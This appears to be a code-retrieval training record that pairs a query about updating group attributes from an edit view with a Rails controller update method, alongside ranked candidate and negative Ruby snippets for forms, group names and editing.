"def student_edit_grp_name(course, group, new_name)\n student_visit_grp(course, group)\n logger.debug \"Changing group title to '#{group.title = new_name}'\"\n wait_for_update_and_click edit_group_link_element\n wait_for_element_and_type(edit_group_name_input_element, group.title)\n wait_for_update_and_click save_button_element\n wait_until(Utils.short_wait) { recent_activity_heading.include? group.title }\n end",
"def heading\n\t\tname + \" (\" + form.name + \")\"\n\tend",
"def form_group(setting, control)\n id = setting[:key].to_s\n # label = setting[:title] || id.titleize\n label = setting.meta.label || id.titleize\n help_id = id + 'HelpBlock'\n # help_text = setting[:description]\n # aria_label = setting[:aria_label] || \"Radio button for following text input\"\n help_text = setting.meta.description\n aria_label = \"Radio button for following text input\" #setting[:aria_label] || \"Radio button for following text input\"\n\n tag.div(class: \"form-group\") do\n tag.label(for: id, value: label, aria: { label: aria_label }) do\n label\n end +\n input_group { control } + tag.small(help_text, id: help_id, class: ['form-text', 'text-muted'])\n end\n end",
"def form_group(options ={}, &block)\n content = capture(&block)\n update_options_with_class!(options, 'form-group')\n content_tag(:div, content, options)\n end",
"def edit_administering_groups\n render partial: \"units/administering_groups_form\", locals: { unit: @unit }\n end",
"def joining_form\r\n\t@title = \"Joining Form\"\r\n end",
"def set_edit_form_information\n @information[:subtitle] = t('view.permissions.edit_title')\n @information[:form_url] = [@parent, 'permission', no_firm: @no_firm]\n end",
"def rename_form\n form_data = params.require(:form).permit(:id, :title)\n\n render json: Form.validate_rename(current_user[\"id\"], form_data)\n end",
"def rename\r\n render\r\n end",
"def replace_form_frame\n end",
"def edit_form\n parsed = Namae::Name.parse(current_user.name)\n generic_file = ::GenericFile.new(creator: [parsed.sort_order], title: @batch.generic_files.map(&:label))\n edit_form_class.new(generic_file)\n end",
"def set_new_form_information\n @information[:subtitle] = t('view.permissions.new_title')\n @information[:form_url] = [@parent, 'permissions', no_firm: @no_firm]\n end",
"def new\n save_navi_state(['groups_title', 'new_group'])\n @group = Group.new\n end",
"def update\n if request.post?\n if @group.update_attributes(params[:group])\n redirect_to :action => 'list'\n else\n render :action => 'rename'\n end\n end\n end",
"def edit_group\n @group = Group.find(params[:group][:id])\n @notice = @group.update_attributes(:name=> params[:group][:name]) ? \"Group name updated successfully.\" : \"Group name already exist.\"\n #redirect_to :back\n respond_to do |format|\n format.js\n end\n end",
"def edit_form\n\t\tnewform = \"\"\n\t\titem_text = question_items.first.text #\n\t\tanswer_item = (self.answer_item.nil? or (self.answer_item =~ /\\d+([a-z]+)/).nil?) ? \"\" : \"\\t\" + $1 + \". \"\n\t\tself.question_items.each do |item|\n\t\t\tnewform = if item.position==1\n\t\t\t\tdiv_item( answer_item + item.text, \"itemquestiontext span-9\")\n\t\t\telse\n\t\t\t\tdiv_item( item_text, \"itemquestiontext span-9\")\n\t\t\tend\n\t\tend\n\t\tnewform\n\tend",
"def standard_form name, object, &block\n url = { :action => object.new_record? ? \"index\" : \"show\" }\n html = { :class => \"standard\",\n :style => (@edit_on ? '' : \"display: none;\"),\n :multipart => true }\n concat form_tag(url, html) + \"<fieldset>\", block.binding\n concat '<input name=\"_method\" type=\"hidden\" value=\"put\" />', block.binding unless object.new_record?\n yield LabelingFormBuilder.new(name, object, self, {}, block)\n concat \"</fieldset>\" + end_form_tag, block.binding\n end",
"def render_form(action)\n body_class << action\n @title = t(\"labels.project.#{action}\")\n render :form\n end",
"def show_rename_choice\n PFM::Text.set_pkname(@pokemon, 0)\n choice = display_message(text_get(36, 39), 1, text_get(11, 27), text_get(11, 28))\n return unless choice == 0 # No\n Graphics.freeze\n @pokemon.given_name = GamePlay::NameInput.new(@pokemon.given_name, 12, @pokemon).main.return_name\n end",
"def show_group\r\n show_group_by_id()\r\n end",
"def form_name\n @form_name ||= master_class(ActiveRecord::Base).name.underscore\n end",
"def set_name\n @rename_window.text = @info_window.name\n @rename_window.open\n @rename_window.activate\n end",
"def edit\n\t\t@page_name = \" - Edit Show\"\n\tend",
"def edit\n render partial: \"user_groups/form\",\n locals: { user_group: @user_group }\n end",
"def display_hyrax_group_name(hyrax_group_name)\n label = I18n.t(\"hyku.admin.groups.humanized_name.#{hyrax_group_name}\")\n return hyrax_group_name.titleize if label.include?('translation missing:')\n\n label\n end",
"def html_form_id\n \"#{@form.name}:#{@screen.name}:#{@name}\"\n end",
"def rename_submenu\n\t\tputs \"Enter new list name:\"\n\t\tchoice = get_choice\n\t\t@todo_list.rename_title choice\n\t\tprint_menu\n\tend",
"def display_name\n \"#{user} - #{group}\"\n end",
"def edit_diagnose_name\n\t\t\n\tend",
"def group(options ={}, &block)\n @template.form_group(options, &block)\n end",
"def element_form(context={}, aspect_model)\n \n app = context[:app]\n\n if resource.can_write?(app.user) and (not app.user.belongs_to?(Users::Group.get('anonymous')))\n renderer = ::UI::FieldSetRender.new('resourceaccesscontrol', app) \n renderer.render('form', 'em') \n else \n ''\n end\n\n end",
"def names \n all_forms\n end",
"def header_for(form)\n content_tag(:h2, :class => \"header\") do\n (form.object.new_record? ? \"Add\" : \"Edit\") + \" \" + form.object.class.name.titleize.downcase\n end\n end",
"def display(form)\n Right(form.model)\n end",
"def override_class_form\n unless File.exists?(\"app/views/admin/#{@plural_name}/_form.html.erb\")\n run \"rake refinery:override view=admin/#{@plural_name}/_form\"\n end\n end",
"def edit_ad_groups\n render partial: \"user_groups/ad_groups_form\",\n locals: { user_group: @user_group }\n end",
"def group_label\n if self.group == 0\n \"Intervention\"\n elsif self.group == 1\n \"Control\"\n else\n \"::INVALID::\"\n end\n end",
"def show\n @group = @form.group.descendants.where.not(type: Form::CollectionGroup).find(params[:id])\n @model = build_form_model(@group)\n @instance = @model.new params.fetch(:form, {}).permit!\n end",
"def display_name\n override_attr(:name, award_name) + (group == award.group ? '' : \" (#{group})\")\n end",
"def new\n @group = current_user.groups.build\n\n respond_to :html\n end",
"def record_edit_display\n \"1. Name: #{name}\\n\"\\\n \"2. Email: #{email}\\n\"\\\n \"3. Library: #{libraries_edit_display}\"\n end",
"def input_name\n @status_window.deactivate\n @edit_window.show.refresh\n @input_window.show.activate.select(0)\n set_controls_help\n end",
"def update\n @group = load_group\n @group_form = group_form\n\n if @group_form.valid? && @group_form.save\n redirect_to(admin_group_path(@group_form.id))\n else\n render :edit\n end\n end",
"def display_form(evt)\n set_record evt[:id], evt[:pid]\n render :text => update(\"##{dom_id}_form\", form_content_options(evt[:pid])),\n :layout => 'form_reveal.js.erb',\n :locals => {:form_selector => \"#{dom_id}_form\"}\n end",
"def new\n \n @group = Group.find(params[:group_id])\n @title=\"Подать заявку на обучение в группе: \"[email protected] \n @person = Person.new(:group=>@group)\n #@groups=Group.all(:conditions=>['open=?',true])\n # render :layout => 'admin'\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def showgroup\n group = groups.map(&:id)\n group.delete(Group.defaultgroup)\n return \"None\" if group.empty?\n Group.find(group.to_s).title \n end",
"def edit_form\n\t\toptions = { :disabled => false, :show_all => true, :edit => true}\n\t\tform_template(options)\n\tend",
"def edit_form\n\t\toptions = { :disabled => false, :show_all => true, :edit => true}\n\t\tform_template(options)\n\tend",
"def partial_name\n %w(new create edit update).include?(action_name) ? '_form' : ''\n end",
"def display_resource(group)\n \"Group ##{group.to_param}\"\n end",
"def bp_group options, &block\n label = options[:label].blank? ? \"\" : options[:label]\n id = options[:id].blank? ? \"\" : options[:id]\n style = options[:style].blank? ? \"\" : options[:style]\n\n out = content_tag :li, :class => bp_class(\"group #{options[:class]}\"), :id => \"#{id}\", :style => style do\n content_tag :fieldset do\n fieldset = label.blank? ? \"\" : content_tag(:legend, label, :class => \"label\")\n fieldset += content_tag(:ol, capture(&block))\n fieldset.html_safe\n end\n end\n\n bp_html_print out\n end",
"def show_group\n group_name = params[:name]\n @group = $iam.groups[group_name]\n @users = @group.users\n @policies = @group.policies\n end",
"def edit_groups\n search_by_type_and_mode(:group, ::ACL.Write).map(&:agent_name)\n end",
"def select_groups\n frm.radio(:id=>\"groups\").set\n end",
"def form_group(f, column, wrapper_class: form_wrapper_class, &block)\n render layout: \"form_group_layout\",\n locals: {f: f, column: column, options: {wrapper_class: wrapper_class}}, &block\n end",
"def show\n @join_forms = JoinForm.where([\"#{@klass}_id=?\", @supergroup.id])\n end",
"def reporthelp_grouping_selector( form )\n return apphelp_select(\n form,\n :task_grouping,\n [\n [ 'No special grouping', 'default' ],\n [ 'Group billable tasks together', 'billable' ],\n [ 'Group active tasks together', 'active' ],\n [ 'Group both kinds of tasks together', 'both' ]\n ],\n false\n )\n end",
"def add_display_only_data(group)\n group[:id] = SecureRandom.uuid\n group[:controls].collect!.with_index do |c, i|\n # i is zero-indexed, and we want the display one-indexed\n c[:sequence_number] = i + 1\n c\n end\n group\n end",
"def chain_select_form_name(model_name, prefix = 'chain_select')\n \"#{prefix}[#{model_name}]\"\n end",
"def show_import_form\n end",
"def help; @form.help_manager.display_help; end",
"def check_group(name)\n self.checkbox(:title=>\"Select #{name}\").set\n end",
"def manage_group\n shell_out!(\"groupmod\", set_options)\n modify_group_members\n end",
"def edit_form\n 'common_templates/edit_form'\n end",
"def whitelist_blacklist_edit_popup_link(f_group_name)\n return link_to_remote_redbox(\"edit\", \n { :url => edit_favourite_group_url,\n :failure => \"alert('Sorry, an error has occurred.'); RedBox.close();\" },\n { #:style => options[:style],\n :id => \"#{f_group_name}_edit_redbox\",\n :onclick => \"javascript: currentFavouriteGroupSettings = {};\" } #,\n #:alt => \"Click to create a new favourite group (opens popup window)\",#options[:tooltip_text],\n #:title => tooltip_title_attrib(\"Opens a popup window, where you can create a new favourite<br/>group, add people to it and set individual access rights.\") } #options[:tooltip_text]\n )\n end",
"def whitelist_blacklist_edit_popup_link(f_group_name)\n return link_to_remote_redbox(\"edit\", \n { :url => edit_favourite_group_url,\n :failure => \"alert('Sorry, an error has occurred.'); RedBox.close();\" },\n { #:style => options[:style],\n :id => \"#{f_group_name}_edit_redbox\",\n :onclick => \"javascript: currentFavouriteGroupSettings = {};\" } #,\n #:alt => \"Click to create a new favourite group (opens popup window)\",#options[:tooltip_text],\n #:title => tooltip_title_attrib(\"Opens a popup window, where you can create a new favourite<br/>group, add people to it and set individual access rights.\") } #options[:tooltip_text]\n )\n end",
"def link_to_group(group, options={})\n if group.is_a?(Group)\n name = h(group.name)\n name\n else\n h(group.to_s)\n end\n end",
"def label\n nome\n end",
"def edit_groups_string\n edit_groups.join(', ')\n end",
"def ua_record_group_display(value = '')\n group_keys = value.split(':')\n label = [group_keys.last, ' — '].join\n label << (group_keys.count > 1 ? subgroup_label(group_keys) : group_label(group_keys))\n label.html_safe\n end",
"def show_edit_menu\n puts \" You are now in edit mode\"\n puts \" edit name - edit the name of this contact\"\n puts \" edit email - edit the email of this contact\"\n puts \" add phone - add a phone number to this contact\"\n puts \" edit importance - edit the importance of this contact\"\n print \"> \"\n end",
"def name\n \"#{self[:afi]} #{self[:type]} #{self[:grp_name]}\"\n end",
"def change_form_content \n\tend",
"def name\n @name ||= client.all_typeforms.find { |typeform| typeform.id == id }.name\n end",
"def label_for(id, value, name)\n if error = @form_errors.delete(name.to_s)\n @g.label(\"#{value} \", :for => id){ @g.span(:class => :error){ error } }\n else\n @g.label(value, :for => id)\n end\n end",
"def form_group_for(form, field, opts={}, &block)\n label = opts.fetch(:label) { true }\n #checks if the form field has errors\n has_errors = form.object.errors[field].present?\n\n #then it's going to create a div with the styles that bootstrap 3 expects\n content_tag :div, class: \"form-group #{'has-error' if has_errors}\" do\n #then it's going to create a lable for our field\n concat form.label(field, class: 'control-label') if label\n #output whatever is in the block, in this case it's going to be an input\n concat capture(&block)\n #then it's going to output any errors associated with that field\n concat errors_for(form, field)\n end\n end",
"def edit_hosts\n render partial: \"user_groups/hosts_form\",\n locals: { user_group: @user_group }\n end",
"def group_name(group)\n if group.name == 'all users'\n :adjust_permissions_all_users.t\n elsif group.name == 'reviewers'\n :REVIEWERS.t\n elsif group.name.match(/^user \\d+$/)\n group.users.first.legal_name\n else\n group.name\n end\n end",
"def form_view\n 'capital_project_search_form'\n end",
"def edit\n @group = Group.find(params[:id])\n end",
"def edit_group_name_by_popup(rest_method, *args)\n return '' unless rest_method.is_a? RestMethod\n \n options = args.extract_options!\n \n # default config options\n options.reverse_merge!(:style => \"\",\n :class => nil,\n :link_text => \"Set Group\",\n :tooltip_text => \"Set this endpoint's group\")\n \n options[:style] = mergeStylesWithDefaults(options[:style])\n\n link_content = ''\n \n inner_html = image_tag(\"pencil.gif\") + content_tag(:span, \" \" + options[:link_text])\n \n fail_value = \"alert('Sorry, an error has occurred.'); RedBox.close();\"\n id_value = \"set_group_name_for_endpoint_redbox\"\n \n redbox_hash = { :url => edit_group_name_popup_rest_method_url(rest_method), \n :id => id_value, \n :failure => fail_value }\n \n link_content = link_to_remote_redbox(inner_html, redbox_hash, create_redbox_css_hash(options).merge(:remote => true))\n \n return link_content\n end",
"def edit_users\n render partial: \"user_groups/users_form\",\n locals: { user_group: @user_group }\n end",
"def static_form_group(method, options = {})\n gopt, lopt, fopt = split_form_group_options(options)\n lbl = label_w_small(method, lopt)\n fld = gopt[:wrap].call(\"<input type=\\\"text\\\" class=\\\"form-control disabled\\\" readonly=\\\"readonly\\\" value=\\\"#{CGI::escape_html(fopt[:value] || object.send(method))}\\\">\")\n form_group lbl, fld, gopt\n end",
"def new_name; end",
"def membergroups_koolkid_label\n $tracer.trace(__method__)\n return ToolTag.new(div.className(\"/parent-group-title/\").innerText(\"/Kool Kid Crusade/\"), __method__)\n end",
"def form_header_text\n (((persisted?) ? \"Update \" : \"New \") + model_name.human).split.map(&:capitalize)*' '\n end",
"def form; end",
"def membergroups_gameinformer_label\n $tracer.trace(__method__)\n return ToolTag.new(div.className(\"/parent-group-title/\").innerText(\"/Game Informer/\"), __method__)\n end",
"def custom_item_form options\n group_html = \"<li id='#{options[:id]}' class='p'>\"\n group_html += options[:label] ? \"<label for='#{options[:id]}'>#{options[:label]}</label>\" : \"\"\n group_html += \"<div class='wrap-custom-html'>#{options[:html]}</div>\"\n group_html += options[:hint] ? \"<p class='inline-hints'>#{options[:hint]}</p>\" : \"\"\n group_html += \"</li>\"\n group_html.html_safe\n end",
"def form\n end",
"def handle_form_label(vals)\n @forms << vals.last\n @form = vals.last if matches_mdes_version(vals)\n end",
"def element_form_extension(context={}, aspect_model)\n \n app = context[:app]\n\n if resource.can_write?(app.user) and (not app.user.belongs_to?(Users::Group.get('anonymous')))\n renderer = ::UI::FieldSetRender.new('resourceaccesscontrol', app) \n renderer.render('formextension', 'em') \n else \n ''\n end\n\n end",
"def html_toggler\n content_tag(:div, \n link_to_function('Filters »', \"$('#{dom_id('toggler')}').hide();$('#{dom_id('fieldset')}').show()\"),\n :id => dom_id('toggler'), :style => \"display:#{errors.present? ? 'none' : 'block'}\")\n end",
"def edit\n @group = Group.find(params[:id])\n end",
"def form_field_control_label_and_input(object, field, input, options = {})\n label_name = options[:label_name].nil? ? field.to_s.camelize : options[:label_name]\n content_tag(:div,:class => 'control-group') do\n label(object, field, label_name,:class => 'control-label') +\n content_tag(:div, input, :class => 'controls')\n end \n end",
"def user_group_select_field(form, name)\n selected = @form.user_group_id.presence\n user_groups = Decidim::UserGroups::ManageableUserGroups.for(current_user).verified\n form.select(\n name,\n user_groups.map { |g| [g.name, g.id] },\n selected: selected,\n include_blank: current_user.name\n )\n end"
] | [
"0.61118376",
"0.60871184",
"0.6075993",
"0.5976913",
"0.5903311",
"0.58827555",
"0.58050543",
"0.5748276",
"0.5731455",
"0.56554013",
"0.562277",
"0.56095874",
"0.55909455",
"0.5554958",
"0.55455565",
"0.5537276",
"0.55365217",
"0.5525922",
"0.5520117",
"0.5514774",
"0.5512804",
"0.55116105",
"0.54937667",
"0.5480218",
"0.5470527",
"0.545475",
"0.5452638",
"0.5452464",
"0.543386",
"0.53943366",
"0.5383328",
"0.5383301",
"0.53827655",
"0.5382204",
"0.53791845",
"0.5377249",
"0.53610224",
"0.5357305",
"0.5343277",
"0.5342669",
"0.5342074",
"0.5341082",
"0.5336344",
"0.5286775",
"0.5283856",
"0.5257257",
"0.5255552",
"0.5252639",
"0.52504003",
"0.52474767",
"0.5247164",
"0.5247164",
"0.52422965",
"0.52383196",
"0.5219833",
"0.52120465",
"0.51975286",
"0.51926917",
"0.5173968",
"0.5162645",
"0.51623327",
"0.5160313",
"0.51576316",
"0.5156383",
"0.51556146",
"0.5154229",
"0.51508504",
"0.5144445",
"0.5141915",
"0.5141915",
"0.5141487",
"0.5139307",
"0.51361066",
"0.5132865",
"0.51276666",
"0.5123528",
"0.5120453",
"0.5113467",
"0.51054966",
"0.5088834",
"0.508361",
"0.5082157",
"0.50741893",
"0.5073795",
"0.50733525",
"0.5070591",
"0.50658023",
"0.50637233",
"0.5063405",
"0.50624835",
"0.50588703",
"0.5058815",
"0.5055022",
"0.5052959",
"0.505258",
"0.50491345",
"0.50457084",
"0.5044583",
"0.5035303",
"0.5032638"
] | 0.5500044 | 22 |
Update the group attributes with the posted variables from the 'edit' view. | def update
if request.post?
if @group.update_attributes(params[:group])
redirect_to :action => 'list'
else
render :action => 'rename'
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = load_group\n @group_form = group_form\n\n if @group_form.valid? && @group_form.save\n redirect_to(admin_group_path(@group_form.id))\n else\n render :edit\n end\n end",
"def update\n if @group.update(group_params)\n redirect_to @group, notice: 'Group was successfully updated.'\n else\n render :edit\n end\n end",
"def update\n @group = Group.find(by_id)\n if @group.update_attributes(group_params)\n flash[:success] = \"Group updated\"\n redirect_to @group\n else\n render 'edit'\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to( view_group_path(@group.label), :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n \n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to(@group, :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n unless @group.update(group_params)\n render :edit and return\n end\n msg = [\"Updated group.\", rebuild_configs].join(\" \")\n redirect_to groups_url, notice: msg\n end",
"def update\n @group = Group.find(params[:id])\n if @group.update(post_params)\n redirect_to @group\n else\n render :edit, status: :unprocessable_entity\n end\n end",
"def update\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = '{object} was successfully {action}.'[:object_action_notice, \"Group\"[], \"updated\"[]]\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @attribute_group = AttributeGroup.find(params[:id])\n\n respond_to do |format|\n if @attribute_group.update_attributes(params[:attribute_group])\n format.html { redirect_to(@attribute_group, :notice => 'Attribute group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attribute_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@group = Group.find(params[:id])\n\t\[email protected]_accessor(current_user)\n\t\trespond_to do |format|\n\t\t\tif @group.update_attributes(params[:group])\n\t\t\t\tflash[:notice] = t(:ctrl_object_updated, :typeobj => t(:ctrl_group), :ident => @group.name)\n\t\t\t\tformat.html { redirect_to(@group) }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tflash[:error] = t(:ctrl_object_not_updated, :typeobj => t(:ctrl_group), :ident => @group.name)\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to groups_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n \n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(admin_groups_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@group = Group.find(params[:id])\n\t\[email protected]_accessor(current_user)\n\t\trespond_to do |format|\n\t\t\tif @group.update_attributes(params[:group])\n\t\t\t\tflash[:notice] = t(:ctrl_object_updated, :typeobj => t(:ctrl_group), :ident => @group.name)\n\t\t\t\tshow_\n\t\t\t\tformat.html { render :action => \"show\" }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tflash[:error] = t(:ctrl_object_not_updated, :typeobj => t(:ctrl_group), :ident => @group.name, :error => @group.errors.full_messages)\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n if @group.update_attributes(params[:group])\n flash[:notice] = t(\"group.updated\")\n redirect_to list_groups_path(:page => params[:page])\n return\n end\n\n render :action => :edit\n end",
"def update\n\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n \n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit\n render partial: \"user_groups/form\",\n locals: { user_group: @user_group }\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, :notice => 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n if @group.update_attributes(params[:group])\n flash[:notice] = \"Grupo actualizado.\"\n redirect_to groups_path\n else\n render :action => 'edit'\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, :notice => 'Group was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update #:nodoc:\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = I18n.t(\"{{value}} was successfully updated.\", :default => \"{{value}} was successfully updated.\", :value => I18n.t(\"Group\", :default => \"Group\"))\n format.html { redirect_to groups_url }\n # format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n # format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @group.update_attributes(params[:group])\n respond_with(@group, only: [:id, :name, :creator_id, :admin_id])\n else\n render_error(404, request.path, 20103, \"Failed to update group info\")\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n if @group.update_attributes(params[:group])\n flash[:notice] = t('flash_msg47')\n @groups = Group.all\n # format.html { redirect_to(@group) }\n # format.xml { head :ok }\n else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end",
"def update\n @esol_group = EsolGroup.find(params[:id])\n\n respond_to do |format|\n if @esol_group.update_attributes(params[:esol_group])\n format.html { redirect_to @esol_group, notice: 'Esol group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @esol_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find_by_param(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to(@group, :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
